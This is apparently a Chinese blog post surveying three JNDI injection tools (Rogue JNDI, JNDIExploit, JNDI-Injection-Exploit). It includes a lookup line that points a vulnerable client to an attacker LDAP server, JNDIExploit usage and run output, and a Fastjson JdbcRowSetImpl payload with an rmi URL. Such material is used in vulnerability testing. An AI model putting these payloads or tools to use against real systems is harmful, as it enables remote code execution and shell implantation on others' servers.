JNDI注入辅助工具

暨修洁
2023-12-01

本文介绍三种JNDI注入辅助工具(偷懒工具)

一、Rogue JNDI

简介

用于JNDI注入攻击的恶意LDAP服务器。

项目地址https://github.com/veracode-research/rogue-jndi

该项目包含LDAP和HTTP服务器,用于利用默认情况下不安全的Java JNDI API。 为了进行攻击,您可以在本地启动这些服务器,然后在易受攻击的客户端上触发JNDI解析,例如:

InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

它将启动从易受攻击的客户端到本地LDAP服务器的连接。然后,本地服务器使用包含有效载荷之一的恶意条目进行响应,这对于实现远程代码执行很有用。

除了已知的JNDI攻击方法(通过引用中的远程类加载)之外,此工具还利用ObjectFactories的功能带来了新的攻击媒介。

(注:该工具需要自行编译)


二、JNDIExploit

项目地址https://github.com/feihong-cs/JNDIExploit/tree/v.1.11

简介

一款用于 JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

使用

使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数

Usage: java -jar JNDIExploit.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

例子:

java -jar JNDIExploit-v1.11.jar -i 192.168.1.72

如下,执行后自动启动LDAP服务和HTTP服务

root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 192.168.1.72
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...

三、JNDI-Injection-Exploit

项目地址https://github.com/welk1n/JNDI-Injection-Exploit

简介

JNDI-Injection-Exploit是用于生成可用的JNDI链接并通过启动RMI服务器,LDAP服务器和HTTP服务器提供后台服务的工具。 RMI服务器和LDAP服务器基于marshals,并进行了进一步修改以与HTTP服务器链接。

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。

使用此工具可以获取JNDI链接,可以将这些链接插入POC以测试漏洞。

实例

如下是一个Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
 类似资料: